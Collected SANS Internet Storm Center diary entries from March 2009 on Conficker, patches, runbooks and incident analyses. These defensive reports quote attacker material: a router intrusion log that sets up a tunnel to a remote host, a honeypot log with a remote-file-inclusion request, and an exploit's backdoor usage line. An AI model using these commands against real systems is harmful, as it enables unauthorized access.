Feeling Conflicted about Conficker?
UPDATE: Nothing significant to report (yet). We had several readers contact us over the past 24 hours with some minor impact but so far no reports of anything newsworthy. Many organizations have been proactive about scanning their systems and finding either unpatched or Conficker-infected computers that were subsequently removed for repair. One reader reported that there might have been some impact on a domain controller due to Conficker brute-force password cracking efforts. The Conficker Working Group (www.confickerworkinggroup.org) is working overtime to contact owners of netblocks that show signs of Conficker infections. Their website has been unavailable at times due to lots of interest, which I suppose is a good thing. If you are patient it will eventually load. Insecure.org also suffered DoS conditions for a while when the updated nmap version was released. Overall, this exercise has raised a lot of awareness and it's been a good opportunity for organizations to review their patching and compliance procedures. It's also a good reason to search for and protect any embedded systems running older versions of Windows that cannot be easily updated or replaced.
In just a few minutes it will be April 1st at the International Date Line. Over the next 24 hours Conficker will change the way it communicates, but we don't expect much of anything else to happen. There has been quite a bit of media hype about Conficker, and we've seen dozens of new domain names registered to "help" those who are confused. There are also several reports of malicious software masquerading as detection and cleaning tools for Conficker-infected computers. Our official Conficker page is at http://www.dshield.org/conficker, that's where we have links to all of the software and analysis that we know is trustworthy.
As always, we want to remind our readers that if you are doing what everybody considers to be best business practices (firewalls, unneeded services turned off, systems patched, current antivirus software, user education and awareness, good policies, an incident detection and response mechanism, etc.) then you have very little to worry about.
If you detect anything NEW with respect to Conficker over the next 24 hours please let us know via our contact page. We'll sound the alarm should something bad happen. Otherwise, back to work and Happy April Fool's Day!!
Marcus H. Sachs
Director, SANS Internet Storm Center
Watch your Internet routers!
ISC reader Nick contacted us to share information about an Internet router at his workplace that got hacked this weekend. There's several nuggets to learn from in this story, so here goes.
3/28/2009 8:34:02 Authen OK test
3/28/2009 8:34:04 test Default Group where <cr>
3/28/2009 8:34:05 test Default Group who <cr>
3/28/2009 8:34:13 test Default Group who <cr>
3/28/2009 8:34:19 test Default Group show version <cr>
3/28/2009 8:34:23 test Default Group who <cr>
A successful login of a user "test" is definitely not a welcome sight in the TACACS authentication log of an Internet router. And the commands that follow are a clear indication that something sinister is going on. We know since Cliff Stoll's experience that somebody who needs to constantly look over his shoulder while connected (issuing the "who" command) isn't up to any good.
At this time though, Nick's firm didn't know this yet ... And the command log continues
3/28/2009 8:38:38 test Default Group show configuration <cr>
3/28/2009 8:38:59 test Default Group show interfaces <cr>
3/28/2009 8:39:48 test Default Group configure terminal <cr>
3/28/2009 8:39:50 test Default Group interface Tunnel 128 <cr>
3/28/2009 8:39:57 test Default Group show interfaces <cr>
3/28/2009 8:41:48 test Default Group configure terminal <cr>
3/28/2009 8:41:49 test Default Group access-list 20 permit 192.168.2.2 <cr>
3/28/2009 8:41:50 test Default Group ip nat pool new [removed] netmask 255.255.255.252 <cr>
3/28/2009 8:41:51 test Default Group ip nat inside source list 20 pool new overload <cr>
3/28/2009 8:41:52 test Default Group ip nat inside source static tcp 192.168.2.2 113 [removed] 113 extendable
3/28/2009 8:41:52 test Default Group interface Serial 1/0 <cr>
3/28/2009 8:41:53 test Default Group ip nat outside <cr>
3/28/2009 8:41:53 test Default Group interface Tunnel 128 <cr>
3/28/2009 8:41:53 test Default Group ip nat inside <cr>
3/28/2009 8:41:54 test Default Group ip address 192.168.2.1 255.255.255.0 <cr>
3/28/2009 8:41:54 test Default Group ip tcp adjust-mss 1400 <cr>
3/28/2009 8:41:55 test Default Group tunnel source Serial 1/0 <cr>
3/28/2009 8:41:55 test Default Group tunnel destination [removed] <cr>
Whoa! The bad guy is not wasting any time. Barely five minutes after connecting, and he has configured a network tunnel back to his home base.
3/28/2009 8:47:23 test Default Group configure terminal <cr>
3/28/2009 8:47:26 test Default Group line console 0 <cr>
3/28/2009 8:47:32 test Default Group password *****
3/28/2009 8:47:45 test Default Group who <cr>
3/28/2009 8:47:55 test Default Group configure terminal <cr>
3/28/2009 8:48:01 test Default Group line vty 0 1052 <cr>
3/28/2009 8:48:06 test Default Group password *****
3/28/2009 8:49:12 test Default Group no transport input <cr>
3/28/2009 8:49:26 test Default Group transport input ssh <cr>
As a next step, the bad guy changes the locally configured passwords. This doesn't make much of a difference, since these accounts only are used when the central TACACS database is not reachable. While the hacker shows quite some familiarity with setting up an IP tunnel on a Cisco router, he doesn't seem to fully grasp the significance of the TACACS entries in the configuration: since TACACS includes accounting logs, all his commands get recorded.
At 08:52, the bad guy logs off, and Nick's firm is still completely unaware that their perimeter router has just been subverted. But not for long: At 09:00, their "RANCID" script kicks in, pulls the current configuration off the router, compares it with the "last known good" configuration, and immediately e-mails the changes to the network admin. Luckily, the admin understands the significance of what he sees right away, and alerts the incident response team. A while later, the "test" user is removed, the config is cleaned up again, and the bad guy is locked out.
Nick's own "lessons learned" that he shared with us are:
- Disable outside management of Internet routers unless 100% required
- Log!! Log!! Log!!
- Review logs, review logs, review logs.
- Dont use easy usersnames/passwords.
- Talk to people, this includes ISP's. Get the word out of wrong doing.
- Dont hack back...(we didnt, but people sometimes feel the need to retaliate). This is against the law.
- Keep router firmware upgraded.
To which we at SANS ISC would like to add our own
- What saved the day here is the use of "RANCID", which acted like a trip wire. Something the bad guy clearly didn't expect
- Having a privileged user named "test" with a guessable password is of course unwise. But mistakes happen all the time - that's why we security folks all strive to build our defenses in a way that one single mistake isn't enough to sink the ship. Defense in depth works!
Thanks to Nick for sharing the logs and information about the attack!
Locate Conficker infected hosts with a network scan!
The Honeynet Project has discovered an anomaly in Conficker that makes it possible to detect infected hosts with an elaborate fingerprint scan over the network. This is great news if you suspect an infection and have no other means to check, or if you simply want to double-check information that your other defense mechanisms (IDS, AntiVirus, etc) provide.
The write-up and scanning tool are available on the Honeynet Website.
We've had several readers write in with links to news articles about a cyber-espionage network responsible for breaking into 103 different government's computer systems.
A quick google search will bring you a few thousand articles to read if you wish, but the original article can be found here.
Our handler Maarten Horenbeck wrte about a similar topic last year. See a copy of his SANSFIRE talk here:
April 1st - What Will Really Happen?
As reports and the belief of impending problems from the April 1st changes to Conficker contine to grow and spread this seems like a good time to separate fact from fiction.
New Beta release of Nmap
It appears Fyodor and company are getting close to the first major release of nmap since 4.76 over 6 months ago and best of all they want your help testing it!
Today the nmap crew released version 4.85BETA4. To quote Fyodor's words...
"4.85BETA4 includes our new Ncat and Ndiff tools, a ton of new NSE scripts for superior network discovery, more than 5,000
version detection signatures and nearly 2,000 OS fingerprints, improved scan performance, and much more!". For more details see the release notes.
As usual you can download nmap from nmap.org.
-- Rick Wanner rwanner at isc dot sans dot org
Firefox 3.0.8 Released
Gilbert wrote in to let us know that Mozilla has released Firefox 3.0.8 today.
This release fixes two recent security issues: the 'pwn2own' issue used at the CanSecWest competition and the new XSL Transport issue from this week.
The release notes for Firefox 3.0.8 can be found here. The security issues are covered here.
Bad Symantec Virus Defintions Update
We had a report earlier today about problems with non-malicious PDF files getting flagged by the Symantec AntiVirus 10 and Symantec Endpoint Protection 11 products. The March 26, 2007 rev 7 definitions appear to be the cause of the issue. The PDF files were getting flagged as Bloodhound.PDF.6 based on hueristics detection.
There is also a thread about this issue on Symantec's forum today.
If you upgrade your signatures to revision 67 or later, or use the Rapid Release definitions whose sequence number is 93430 or higher, the problem appears to have been resolved.
Firefox and Seamonkey Vulnerabilities
In addition to the "pwn2own" vulnerability used at CanSecWest last week in order to compromise a system with the Firefox web browser, a new vunerability has been published which involves XSL Transforms. This vulnerability impacts both the latest Firefox 3.0.7 and Seamonkey 1.1.15 browsers.
Mozilla is working on updates for both packages and they expect the updated versions to be released by April 1 (and no, this is not an early April Fools joke).
A proof-of-concept exploit for the XSL Transform vulnerability has been released. If the attack succeeds, arbitrary code can be run in the context of the browser. If the attack fails, a DoS condition is likely for the browser.
For more information about the XSL Transform issue, see:
Mozilla Security Blog
There is some SMiShing going on in the EU
We've had a few reports so far where people receive an SMS which asks them to check out a particular URL, which predictably contains something extra.
Currently the reports are from the UK and Germany.
The text of the SMS is typically along these lines " Someone posted your full personal and banking information at insert-bad-url-here website you must remove it now". The text does vary slightly in some of the samples seen.
The url typically has some badness in the form of a trojan. This particular one, which Holger alerted us to (thanks), contained a trojan called Ambler.
So keep an eye on your VoIP systems and some user education is probably also not a bad idea.
Pat asked an interesting question. He, like many of us, has the requirement to make sure that information doesn't accidentally leave the organisation on equipment that is being disposed off.
To stop this many of us will have procedures to sanitise or destroy media, but what exactly are you targeting? Hard disks, CD, DVDs, USB/Flash Drives are all the obvious ones. Blackberries, Iphones or MP3 players are less obvious devices. However what else should you cleanse or even destroy?
Here are some things that I thought off that could be included:
- Hard disks from Printers
- Printer drums
- Digital photo Frames
Let me know what other devices you sanitise before leaving the organisation.
37 days ago the DShield webhoneypot project released the first Alpha of the code. I hadn't really had much time to play with it yet, but one of our readers had a challenge with his submissions, so I figured I'd better get my hands dirty. Another reason is that there does seem to be a lot of malicious web traffic around at the moment and I wanted to grab some of it.
So here is a quick run down of my webhoneypot experience.
Firstly I logged into DShield and under "My Information" I entered the Honeypot URL and ticked the "Honeypot is Active" button.
Next to grab the code. The code is hosted on Google and can be obtained here The site has install information and several releases are available, the raw code, a debian package and a Mac OS X package. Looking at the install instructions I decided to go with the debian package. (Now before you chuckle it was because I only had about 15 minutes or so to get it done and like many time poor people I like shortcuts. It was not because the install instructions are not good. In fact quite the opposite.)
So I built a new Debian 5 VM on a virtualbox which was straight forward. I only installed a very minimal system with Apache, and PHP5 About 10 minutes gone.
After grabbing the deb file I installed it using the "Installation with a Debian Package" instructions, which took about 3 seconds or so. It asks you what port number you would like to use, sets up the relevant start jobs etc. In short it does pretty much everything for you. Once you have completed this step you have a honeypot running on the machine and all you need to do is change the /opt/webhoneypot/etc/config.local file and enter your DShield userid (which will be your email address) and password in the file (the userid=yourdshieldemailaddress and password=thepasswordfortheuserid do not use " )
The final step after this is was to open a browser and go to the web page. When you hit the page you will get a message along the lines of "Check logfile for hashpassword". This basically verifies that you have successfully connected to DShield. You replace the password=thepasswordfortheuserid line with the hashpassword=738abc..... parameter from the log file and you are good to go.
Revisit the web page with, for example, a robots.txt request and you will get a response. When you look in the log file /opt/webhoneypot/logs/honey.... file you will see an entry along the lines of timestamp IP-Address Delivered Template 123 . If you see that, the log line was delivered (123 is just an example you will see different numbers).
Log into DShield again and under the "My Weblogs" tag you should see your test log entries. For example:
GET /robots.txt HTTP/1.1
GET /robots.txt HTTP/1.1
GET /i.php?page=http://220.127.116.11/babycaleb/picture.htm? HTTP/1.1
Total time taken, twenty minutes. Ten minutes to install an OS onto the VM and five minutes or so because I borked my VM's network connection. A final five minutes to install and configure the Honeypot.
The guys on the team have done a great job. If you have a spare IP this is a great way to contribute. Give it a go.
Mark H - Shearwater
For those of you that are students and think Honeypots might be something you are interested in, then check out the Honeynet Project Google Summer of Code page http://www.honeynet.org/gsoc .
Java Runtime Environment 6.0 Update 13 Released
JRE 6.0 Update 13 has been released and addresses a couple of security issues. You can see the release notes for this version here. If you have a business case for remaining on the older JRE 5.0 version, Update 18 for it has been released as well. You can see the release notes for it here.
Both of these updates address various security issues.
Thanks to Roseman for the info.
Cisco Releases IOS Bundle of Vulnerabilities
Cisco has officially released a "bundle" of vulnerability notices for their IOS software. The issues related to these notifcations are varied and relate to TCP, UDP, Mobile and VPN vulnerabilities. We are reviewing them now and thought you may want to do the same.
- Cisco IOS cTCP DoS Vulnerability
- Cisco IOS Multiple Features IP Sockets Vulnerability
- Cisco IOS Mobile IP and Mobile IPv6 Vulnerabilities
- Cisco IOS Secure Copy Privilege Escalation Vulnerability
- Cisco IOS Session Initiation Protocol DoS Vulnerability
- Cisco IOS Multiple Features Crafted TCP Sequence Vulnerability
- Cisco IOS Multiple Features Crafted UDP Packet Vulnerability
- Cisco IOS WebVPN and SSLVPN Vulnerabilities
You can take a look at them here: http://www.cisco.com/warp/public/707/cisco-sa-20090325-bundle.shtml
PSYB0T: A MIPS-device (mipsel) IRC Bot
(Thanks to several readers for writing in to the ISC and noting how some eMedia outlets have now picked up on this story - as well as pointers to sources regarding this entity. We always appreciate your valued input!)
A great document (pdf - dated January 11th, 2009) by Terry Baume goes into detail about how a specific brand of DSL Modem (Netcomm NB5) can be compromised with malicious code that turns the device into a IRC based Bot - named PSYB0T 2.5L
While discovered several months ago, some recent entries on the DroneBL blog that (among further detail into "PSYB0T") state "We came across this botnet as part of an investigation into the DDoS attacks against DroneBL's infrastructure...". It certainly appears that PSYB0T may be alive and kicking!
Some further insight into the possibility that this Bot is still evolving (Now Version 2.9L, 3 months later) has been presented on the TeamFurry blog.
Handler on duty (What Will Internet-Based Kitchen Appliances Be Capable Of In The Future?)
CanSecWest Pwn2Own: Would IE8 have been exploitable had the event waited one more day?
"Safe" Internet web browsing experiences - a concept that tends to sometimes get overlooked when considering an assessment of our own personal (or corporate) Internet security posture. The "Pwn2Own" event recently held at CanSecWest certainly raises suspicions as to how secure our web browser (of choice) may actually be in preventing us from becoming the next Negative Internet web browsing statistic - but due to the nature and rules of the event, none of the details for the winning methods and procedures get immediately released.
Ironically, in terms of the IE8 browser exploit, a bit of detail was noted for the winning method and procedure on the sponsor's DVLabs blog - "...a sleek exploit against IE8, defying Microsoft’s latest built in protection technologies- DEP (Data Execution Prevention) as well as ASLR (Address Space Layout Randomization)".
In reading the latest blog entry (March 23rd) on the Microsoft Security Research & Defense website, it goes out of its way to hilite a specific statement: "The final release of Internet Explorer 8 on Windows Vista blocks the .NET DEP+ASLR bypass mechanism from malicious websites on the Internet".
So this begs the question: Had the organizers of the Pwn2Own event waited another day for the "Official" release of IE8 to become available, would IE8 really have been exploitable?
ISC Handler (Because timing really matters!)
Dealing with Security Challenges
Do you ever feel like you are the lone gunman? Taking pot shots into the dark while trying to solve the your organization's IT issues? Sometimes it seems we need an army of people on our security team just to keep up with the daily vulnerabilities and challenges.
Even so, some of us are small security departments being constantly bombarded with incidents, vulnerabilities and forensics. We try to stay one step ahead of the bad guys, but feel like we're losing the battle. Do you have some helpful advice for smaller teams? That's were ISC can help. We're here to pass on the knowledge from all over the world to teams small and large.
How do you handle these challenges, or how would you do it with less personnel? Perhaps you have some tips for your overwhelmed and understaffed collegues. Please send in any helpful ideas you might have for trying to keep up with this ever changing threat landscape. We'll post your suggestions here all day.
Updates to ISC BIND
Internet Systems Consortium have released a new version of their popular DNS implementation. New versions of BIND 9.4, and 9.5 are available both of which address a security related issue with DNSSEC Lookaside Validation (DLV). The issue was found once DNSSEC DLV was used to sign the .gov zone as the NSEC3RSASHA1 signature algorithm used was not supported with the older versions of 9.4.x and 9.5.x.
So if your not using DNSSEC DLV and you were already on the latest release prior to those shown below, you have no reason to update unless you want to use DNSSEC DLV.
The release comments:
BIND 9.4.3-P2 is a SECURITY patch for BIND 9.4.3. It addresses a bug in DNSSEC lookaside validation (DLV): unrecognized signature algorithms, which should have been treated as the equivalent of an unsigned zone, were instead treated as a validation failure.
BIND 9.4.3-P2 can be downloaded from: ftp://ftp.isc.org/isc/bind9/9.4.3-P2/bind-9.4.3-P2.tar.gz
BIND 9.5.1-P2 can be downloaded from: ftp://ftp.isc.org/isc/bind9/9.5.1-P2/bind-9.5.1-P2.tar.gz
Also, the latest BIND 9.6 beta release has been updated: ftp://ftp.isc.org/isc/bind9/9.6.1b1/bind-9.6.1b1.tar.gz
Making the most of your runbooks
To perform effective security incident handling, a standard model is often used. SANS through its GIAC GCIH affiliation certification teaches a six step model comprising of the following steps:
preparation, identification, containment, eradication, recovery and lessons learned.
Today, I want to look at preparation. Given that during the current economic climate we are all expected to do more with the same, or often less resource, now is the time to see how we can use preparation time to make our incident response skills slick, and effective whilst not raising operational costs.
As incident response teams mature from the chaos of the first incidents through to the slick teams we all hope they will become, optimizing the processes within the team is an important maturity step. The Capability Maturity Model defines these maturity steps as:
Ad-hoc, repeatable, defined, managed, and optimized.
The way to identify where your incident processes are up to in this model are to use some easily identifiable characteristics
- ad-hoc - Processes are undocumented and what process there is changes a lot
- repeatable - Documented, and may even give the same results, but little discipline in operating the process
- defined - Documentation is well defined and have been improved over time
- managed - metrics are embedded within the processes, and used to check the effectiveness of the processes
- optimizing - found to be focused on continual improvement of the process
Given that the standard way of documenting incident response processes is via the run book, lets look at some ways of improving the effectiveness of those processes.
1. Paper Based Run Books
If you don't have procedures, written down ones with steps etc, now is the time to start. Every time you perform an incident for which you dont have a run book, transpose your notes you took during the incident into a documented step by step action sheet as to what you do next time. It doesnt have to be a huge weighty tome of information, infact a single sheet process, with a page or two of notes on what the process steps do should be more than enough.
2. Using a Wiki rather than using paper
Incident teams work effectively by collaborating during an event, an onwards through the incident until the service is recovered. During the lessons learned process step of an incident, when you walk through and find what you did good at, and what sucked, this is the time to change your run books to address those issues. Having collaborative publishing as with a Wiki allows the whole team to discuss and propose changes to your run books via the Wiki and then you can move, with team agreement, from 1.0, to 2.0 of your run books. One thing to remember, make sure you have local, offline copies of your wiki on your incident response laptops so you can refer to the documentation if your website, or network is down, or compromised. Other points to consider on the choice of wiki software, and its configuration are:
- use SSL to encrypt the connections to the wiki
- turn off default read to the wiki
- create accounts for each of your incident team, and those needed to authorize changes to your procedures
3. Automating steps within the Wiki Run Book
This is the key step in making the most of your run books. If during an incident, for example an IDS alert against your corporate web site, you will need to perform some standard steps time and time again. Lets automate them, and define them within the Wiki run book.
For example, grab todays web logs, and search them for entries for a particular IP address. Your run books should have this defined as a step, so on your wiki, have a link that pulls the logs, performs the grep, or other such search, and display the results for you on the web page.
For example, should you want to pull all 404 errors from your web site, you could have a link as shown in the picture below:
And this could result in
18.104.22.168 - - [10/Mar/2009:20:53:24 +0000] "GET /sql/phpMyAdmin-2.10.0-beta1/main.php HTTP/1.0" 404 234 "-" "-" 22.214.171.124 - - [10/Mar/2009:20:53:24 +0000] "GET /sql/phpMyAdmin-2.10.0-rc1/main.php HTTP/1.0" 404 232 "-" "-" 126.96.36.199 - - [10/Mar/2009:20:53:24 +0000] "GET /sql/phpMyAdmin-188.8.131.52/main.php HTTP/1.0" 404 230 "-" "-" 184.108.40.206 - - [10/Mar/2009:20:53:24 +0000] "GET /sql/phpMyAdmin-220.127.116.11/main.php HTTP/1.0" 404 230 "-" "-" 18.104.22.168 - - [10/Mar/2009:20:53:25 +0000] "GET /sql/phpMyAdmin-2.10.0/main.php HTTP/1.0" 404 228 "-" "-" 22.214.171.124 - - [10/Mar/2009:20:53:25 +0000] "GET /sql/phpMyAdmin-2.10.1-rc1/main.php HTTP/1.0" 404 232 "-" "-" 126.96.36.199 - - [10/Mar/2009:20:53:25 +0000] "GET /sql/phpMyAdmin-2.10.1/main.php HTTP/1.0" 404 228 "-" "-" 188.8.131.52 - - [10/Mar/2009:20:53:25 +0000] "GET /sql/phpMyAdmin-2.10.2-rc1/main.php HTTP/1.0" 404 232 "-" "-"
4. Producing evidence of run book adherence
In larger organizations the auditing of adherence to the steps performed during an incident will be expected, and indeed checked. So, again using your automated run book methodology, use tick boxes, radio buttons, etc, to show where decisions are made, and what choices were made during an incident. These can be logged and presented as audit evidence later on. If you have a team spread across multiple sites/countries, etc, then you could use a communications server, such as IRC, Jabber, etc, to allow people to talk about the event and then save the logs. If audit ask for decision points during an event, and where they are recorded, show them your logs. Of course, if your using communication servers, implement SSL on them, and deny access in the clear.
Management information during an incident should describe the effectiveness of the process. Time to respond, time to step through the four steps of the incident handling process which are used during an incident. Using the automated run books method will speed up key functions within your response and allow you to demonstrate that you true are doing more for less!
Finally, if you have any tips on improving your run books, pass them along and I'll update this diary over the weekend. I am on duty again on Monday, so I'll ensure that those few of you who don't read us over the weekend are not left out!
Stealthier then a MBR rootkit, more powerful then ring 0 control, it’s the soon to be developed SMM root kit.
Joanna Rutkowska founder and CEO of Invisible Things Lab along with
Rafal Wojtczuk has released a paper on attacking SMM memory via Intel
CPU cache Poisoning. They did not release an SMM rootkit as some people
stated they would. What was released includes “totally harmless” shell code according to Ms
Rutkowska’s blog. Here is a reference to the paper.
“System Management Mode (SMM) is the most privileged CPU operation
mode on x86/x86_64 architectures. It can be thought of as of "Ring -2"
as the code executing in SMM has more privileges than even hardware
hypervisors (VT), which are colloquially referred to as if operating in "Ring
She goes on to explain how the protection of SMM can be trivially
circumvented in just over a half page of text ending with “And that’s it!”
A talk was given today at CanSecWest on this paper by Loic Duflot of SGDN/ Central Directorate of Information Systems Security. http://cansecwest.com/agenda.html
Latest on Conficker
The researchers at SRI International updated their Conficker paper today. This is by far one of the best analysis of the Conficker malware. More malware information is available at SRI's Malware Resource Center.
Another good Conficker article was published in the New York Times today; you have to subscribe to read it but the subscription is free. Be sure to also read the NYT article about the Conficker Cabal, the group of experts working behind the scenes to bring the Conficker botnet under control.
We've got more information on Conficker in a previous diary (be sure to follow the links back to the earlier diaries about Conficker.) Also, lots of information on how to protect yourself is in this diary.
Marcus H. Sachs
Director, SANS Internet Storm Center
Browsers Tumble at CanSecWest
The three major browsers fell in quick succession at CanSecWest.
The Pwn2Own competition produced similar results as last year and I'll go out on a limb and suggest they will next year as well. IE8, FF and Safari tumbling in record times. Not necessarily nice with IE8 becoming available today and being exploited before many people finished downloading.
Here are some write ups of the event. h-online DV-labs
Brace yourselves - IE8 reported to be released
The day some of you have been waiting for looks like it has arrived. IE8 is reported to be released at midday, eastern standard daylight savings time. Downloadable from the ie8 pages at Microsoft and their download pages (the button is already there, but links to the beta ATM).
Lots of changes in the product, including security changes. No doubt those of you who have users with local admin rights will be able to tell us a few minutes after it has been released how it behaves on your network. Those of you holding on to IE 5 and IE 6 (you know who you are), maybe this is the one to use?
Adobe Security Bulletin Adobe Reader and Acrobat
Adobe has released security advisory APSB09-04 for Adobe Reader and Acrobat. The CVE entries related to the vulnerabilities being patched are CVE-2009-0658 and CVE-2009-0927. Current versions are now 9.1, 8.1.4, and 7.11. Updates for both Windows and Macintosh platforms are available. Thanks roseman!
Quite a few people have been writing in to let us know that updates for xyz OS aren't available or the patches have been pulled. Must confess the Adobe site is not what you would call easy to navigate (at least not by me). If you have problems finding the right patch try this link here. Use the "Find Product Updates" drop down to select the reader for your OS and you should get a nice page showing you the available updates which (at the moment of posting) the 9.1 version and updates for 8 and 7. - MH
Adrien de Beaupré
Identifying applications using UDP payload
As requested in todays "stormcast", some readers/listeners sent in complete packet captures of suspect UDP traffic. One of the "nice" things about UDP attacks is that they sometimes only consist of a single packet, and the complete payload can be captured even if no connection is established. For TCP on the other hand, all you would see is a SYN packet with no payload if a firewall blocks the traffic.
Here are a couple patterns in traffic submitted so far. I will keep adding as we see more
- DNS traffic
One of the first giveaways that you are dealing with DNS is of course the fact that it uses port 53. But even without this, DNS is easy to spot. For example, consider the following traffic snippet (just use the -X option in tcpdump)
0001 0002 000d 0000 0579 6168 6f6f 0363 .........yahoo.c 6f6d 0000 0100 01c0 0c00 0100 0100 001f om..............
DNS host names are encoded using a simple "length" - "value" scheme. In the example above, you see
'5' (5 letters to follow), 'yahoo', '3' 'com', '0' (indicating the end). Yes there are tools that allow you to perform UDP scans using valid looking DNS payloads. This pattern is easy to spot even without firing up wireshark and usually is sufficient to move on to the next packet.
Bittorrent traffic does not use fixed ports, which makes it harder to spot. There are also encryption options. However, if not encrypted, there are a couple of patterns you can look for, again simply with 'tcpdump -X -s0...'. Bittorent usually encodes strings as length:string. For example, you will see
313a 7139 3a66 696e 645f 6e6f 6465 313a 1:q9:find_node1:
In this sample, you see two strings: first the green part, a string of length 1 ('q'), then a string of length 9 ('find_node', in red). Followed by another string of 1 (cut off in the example above)...
Keep the captures coming and I will try to add more simple "patterns" to help you spot various applications.
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
More UDP Activity
Martin I. wrote in a bit ago in response to the diaries from Saturday and Sunday. Martin has noticed an increase in UDP traffic from various sources on the aforementioned ports. We are really wanting to see some full packet captures, so if anybody has the means and opportunity, we'd greatly appreciate it.
new rogue-DHCP server malware
Thanks to Irwin for alerting us about a new version of rogue DHCP server malware he found in his network. The malware appears to be similar to Trojan.Flush.M which was found last December. Like back then, after infecting its target, the malware installs a rogue DHCP server. The main goal of the DHCP server is to spread a bad DNS server IP address.
Irwin did a good job comparing the two versions. Here is his summary of the differences:
- The new version sets the DHCP lease time to 1 hour.
- it sets the MAC destination to thebroadcast address, rather then the MAC address of the DHCP client
- it does not specify a DNS Domain Name.
- the options field does not contain an END option followed by PAD options.
- Unlike Trojan.Flush.M, the BootP Broadcast Bit is set.
The malicious DNS server is 184.108.40.206 and 220.127.116.11.
monitor connections to DNS servers other then the approved one pushed out by your DHCP server. This should help you spot this kind of malware. Yes, you can block the two IP addresses listed above, but it will likely do little good.
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
UDP Ports 54929, 46304, 23010
Another reader, Tony W. was checking his logs for any activity referenced in Tony Carothers diary on UDP Port 21713. What he found were the three ports UDP 54929, 46304 and 23010 all started being hit about the same time on his network. When you look at the DShield graphs of these three, they are very similar to the trend on 21713. Is there any coorelation? I have no idea at this point. However, while your checking your logs for 21713, look and see if these ports are showing up as well. If anyone can get packet captures for any of these, that would be most helpful!
What's on your network?
I was looking though my Spam folder this evening to see if there was anything interesting in there. Of course I found some of your "standard" phishing attempts that we have come to accept as "normal". While looking at these I got to thinking about how some of them, just from viewing the email (if using html like many do), would serve you content pulled from websites you never clicked on. In essence, unsolicited requests, would be leaving your network. This led me to think about software that "phones home" and I realized it had been a while since I had heard about any.
I thought I must be missing something, but sure enough my Google search turned up empty for anything in the last few months. So now the real question comes to my mind. Is that because there is nothing "phoning home" or is it because our networks are so large with so much traffic that no one knows what is on their network anymore? I subscribe more toward the latter. I think majority of people (and their management) feel there is simply not enough time to figure out what all the traffic really is and they have tools to automate things so they don't have to know cause the tools do it all for them.
This really concerns me because software products are being released constantly. How much testing really goes on for them? How much hidden functionality really exists? How do you know if your software is doing what it should do? Egress filtering is more important than ever to securing your network. Too often you find people know enough to get the software up and running but that is about it.
So I have a couple questions I'd like to get feedback on:
- Is there no software phoning home anymore or are we just missing it?
- What steps do you take to ensure the software on your network is only talking to and doing what its documented to do?
New UDP Traffic with a Destination Port of 21713
Barry B. today submitted a sampling of log files with a series of random source IP's and ports. Looking back at the past 30 days Dshield has had very little to report on this partiulcar port. We are not able to get any full packet samples at this time, so if anybody has a chance, and access to these, we'd like to take a look and try to figure out what's going on here.
Ubuntu users, today is a good day to patch
If you are running Ubuntu systems, then today may be a good day to think about patching.
Things being patched include:
libcurl, Apache, Squid, Firefox, Python crypto, libpng, Networkmanager, dah vulnerability, KMail
No doubt there is more. For details check the Ubuntu security pages www.ubuntu.com/usn
PS Don't forget to test on, well, test systems or at least a non critical machine.
When web application security, Microsoft and the AV vendors all fail
I just spent some time analyzing yet another incident and I was actually shocked about how the combination of relatively weak defenses led to a system being completely compromised.
The three main actors in this movie were a web application with a security vulnerability, Microsoft’s server class operating systems with an unpatched local privilege escalation vulnerability and the last line of everyone’s defense, the AV vendors.
The story started more or less like hundreds of recently seen incidents. A web application had a vulnerability that allowed a remote attacker to upload files to the server. As the files were not validated, the attacker was able to upload a .NET Webshell. This webshell is known as ASPXSpy, it’s an ASPX program that allows easy control over the compromised server. The attacker can now upload files through the browser and execute them.
However, the attacker still does not have total control over the server as the IIS service runs under an unprivileged account. This is where the local privilege escalation vulnerability comes into play. The attackers uploaded a local exploit called Churrasco2. This is a PoC created by a well known researcher Cesar Cerrudo and published back in October 2008. What makes it even worse is that it work on both Windows Server 2008 and Server 2003. The exploit creates a backdoor shell after it steals the SYSTEM token. The program’s usage description says it all:
/Churrasco/-->Usage: Churrasco2.exe ipaddress port
After this, it was game over. The attacker had a backdoor to the server running as SYSTEM. The next steps were very obvious and included installation of another Trojan as well as a keylogger.
Finally, the last line of defense, the anti-virus program, failed as well. Although the AV vendors typically include detection for exploits, it’s clear that they missed this one. I ran it past VirusTotal and the results where … well … horrible is an understatement – 0 AV programs detected this: http://www.virustotal.com/analisis/4f48b73697428888f338bf66fa1eb92a
So, what can we learn from this example? The attacks I described are in the wild and are abused. The first line of defense, in this case the web application’s security, must be made as secure as possible – secure coding standards, penetration tests and whatever else you can do are justified. As we saw from this example, other defenses failed. And the security of your web application depends only on you.
This doesn’t mean that other two actors should just sit and do nothing. Microsoft should really fix this vulnerability and pay more attention to local privilege escalation vulnerabilities. While MS released an advisory with suggested workarounds (available at http://www.microsoft.com/technet/security/advisory/951306.mspx), I don’t think enough people know about this.
Finally, the AV vendors should be more proactive (instead of reactive) and follow exploit research developments so they can add detection for similar exploits early and protect their customers.
Do you have Wireless on your network?
We have a new poll up on the right hand side of the ISC front page. --->
If you don't mind, can you take a few seconds and submit your answers about your deployment of 802.11n (if you have one).
-- Joel Esler http://www.joelesler.net
Adobe Update is finally out, well, some of them
Thank you all that wrote in letting us know that the Adobe Update for Reader and Acrobat 9 is finally out. Swa pointed this out in his diary right here. However, I wanted to expand upon the update a little bit, because I still find it to be "wanting".
Adobe has named this release "9.1" for both Adobe Reader and Adobe 9 (Standard, Pro, and Pro Extended). The patch is out for Windows and Macintosh only, however.
Adobe says they plan for updates to Reader 7 and 8 and Acrobat 7 and 8 to be out by March 18th. They also plan to make Adobe Reader 9.1 available for Unix by March 25th.
So, Adobe did fix the issue for users of "9" on Windows and Mac, but the other platforms are still vulnerable. If you are using Adobe 7 or 8, if you can update to 9.1, that would be for the best.
(Yes, I work for Sourcefire.)
-- Joel Esler http://www.joelesler.net
Massive ARP spoofing attacks on web sites
So, first a short recap about ARP spoofing. ARP spoofing attacks happen on layer two – the Address Resolution Protocol maps IP addresses and MAC addresses, which is what is used to communicate in local subnets. ARP spoofing attacks are nothing new – they have been happening for years already. The basic idea of an ARP spoofing attack is for the attacker to spoof IP address <-> MAC address pair of the default gateway. This allows him to intercept (and, if needed modify) all outgoing traffic from that subnet. The attacker can also spoof the IP address <-> MAC address pair of a local server in which case he could monitor incoming traffic, but in this scenario that was not necessary.
